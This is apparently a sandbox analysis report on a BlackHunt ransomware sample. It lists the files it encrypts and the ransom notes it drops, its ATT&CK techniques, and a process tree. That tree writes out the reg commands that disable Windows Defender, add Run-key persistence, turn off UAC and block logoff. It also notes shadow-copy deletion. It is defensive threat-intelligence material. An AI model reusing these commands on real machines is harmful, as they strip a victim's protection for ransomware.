File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\PPKLite.api	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prcr.x3d	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files (x86)\Google\#BlackHunt_ReadMe.hta	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationUp_SelectionSubpicture.png	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santarem	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tijuana	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt_0.12.1.v20140903-1023.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_zh_4.4.0.v20140623020002.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-1	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\cue.luac	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\#BlackHunt_Private.key	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_Private.key	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationRight_ButtonGraphic.png	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.widgets.nl_zh_4.4.0.v20140623020002.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20140827-1444.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-api-search.xml	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_Private.key	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\MANIFEST.MF	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-compat.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_zh_CN.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Accra	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_Private.key	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santo_Domingo	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Faroe	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\status.xml	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#BlackHunt_ReadMe.txt	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Goose_Bay	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.txt	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\#BlackHunt_ReadMe.hta	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\GRAY.pf	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Paramaribo	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.txt	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_win7.css	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1992	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2724	vssadmin.exe
3916	vssadmin.exe
1344	vssadmin.exe
1504	vssadmin.exe
1424	vssadmin.exe
2400	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1692	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	schtasks.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	schtasks.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2668	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
964	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Token: SeRestorePrivilege	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Token: SeBackupPrivilege	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Token: SeTakeOwnershipPrivilege	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Token: SeAuditPrivilege	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Token: SeSecurityPrivilege	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Token: SeIncBasePriorityPrivilege	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Token: SeBackupPrivilege	2768	vssvc.exe
Token: SeRestorePrivilege	2768	vssvc.exe
Token: SeAuditPrivilege	2768	vssvc.exe
Token: SeBackupPrivilege	3756	wbengine.exe
Token: SeRestorePrivilege	3756	wbengine.exe
Token: SeSecurityPrivilege	3756	wbengine.exe
Token: SeSecurityPrivilege	3824	wevtutil.exe
Token: SeBackupPrivilege	3824	wevtutil.exe
Token: SeSecurityPrivilege	3924	wevtutil.exe
Token: SeBackupPrivilege	3924	wevtutil.exe
Token: SeSecurityPrivilege	2008	wevtutil.exe
Token: SeBackupPrivilege	2008	wevtutil.exe
Token: SeSecurityPrivilege	2908	wevtutil.exe
Token: SeBackupPrivilege	2908	wevtutil.exe
Token: SeSecurityPrivilege	2456	wevtutil.exe
Token: SeBackupPrivilege	2456	wevtutil.exe
Token: SeDebugPrivilege	1692	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2460	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	29
PID 2180 wrote to memory of 2460	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	29
PID 2180 wrote to memory of 2460	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	29
PID 2180 wrote to memory of 2460	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	29
PID 2180 wrote to memory of 1424	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	30
PID 2180 wrote to memory of 1424	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	30
PID 2180 wrote to memory of 1424	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	30
PID 2180 wrote to memory of 1424	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	30
PID 2180 wrote to memory of 2876	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	31
PID 2180 wrote to memory of 2876	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	31
PID 2180 wrote to memory of 2876	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	31
PID 2180 wrote to memory of 2876	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	31
PID 2180 wrote to memory of 2692	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	127
PID 2180 wrote to memory of 2692	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	127
PID 2180 wrote to memory of 2692	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	127
PID 2180 wrote to memory of 2692	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	127
PID 2180 wrote to memory of 2348	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	35
PID 2180 wrote to memory of 2348	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	35
PID 2180 wrote to memory of 2348	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	35
PID 2180 wrote to memory of 2348	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	35
PID 2180 wrote to memory of 2704	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	37
PID 2180 wrote to memory of 2704	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	37
PID 2180 wrote to memory of 2704	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	37
PID 2180 wrote to memory of 2704	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	37
PID 2180 wrote to memory of 2796	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	39
PID 2180 wrote to memory of 2796	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	39
PID 2180 wrote to memory of 2796	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	39
PID 2180 wrote to memory of 2796	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	39
PID 2180 wrote to memory of 2828	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	40
PID 2180 wrote to memory of 2828	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	40
PID 2180 wrote to memory of 2828	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	40
PID 2180 wrote to memory of 2828	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	40
PID 2180 wrote to memory of 2824	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	42
PID 2180 wrote to memory of 2824	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	42
PID 2180 wrote to memory of 2824	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	42
PID 2180 wrote to memory of 2824	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	42
PID 2180 wrote to memory of 2800	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	43
PID 2180 wrote to memory of 2800	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	43
PID 2180 wrote to memory of 2800	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	43
PID 2180 wrote to memory of 2800	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	43
PID 2180 wrote to memory of 2756	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	44
PID 2180 wrote to memory of 2756	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	44
PID 2180 wrote to memory of 2756	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	44
PID 2180 wrote to memory of 2756	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	44
PID 2180 wrote to memory of 2724	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	148
PID 2180 wrote to memory of 2724	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	148
PID 2180 wrote to memory of 2724	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	148
PID 2180 wrote to memory of 2724	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	148
PID 2180 wrote to memory of 2392	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	47
PID 2180 wrote to memory of 2392	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	47
PID 2180 wrote to memory of 2392	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	47
PID 2180 wrote to memory of 2392	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	47
PID 2180 wrote to memory of 2844	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	126
PID 2180 wrote to memory of 2844	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	126
PID 2180 wrote to memory of 2844	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	126
PID 2180 wrote to memory of 2844	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	126
PID 2180 wrote to memory of 2868	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	49
PID 2180 wrote to memory of 2868	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	49
PID 2180 wrote to memory of 2868	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	49
PID 2180 wrote to memory of 2868	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	49
PID 2180 wrote to memory of 2076	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	50
PID 2180 wrote to memory of 2076	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	50
PID 2180 wrote to memory of 2076	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	50
PID 2180 wrote to memory of 2076	2180	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe	50

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
"C:\Users\Admin\AppData\Local\Temp\8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2076
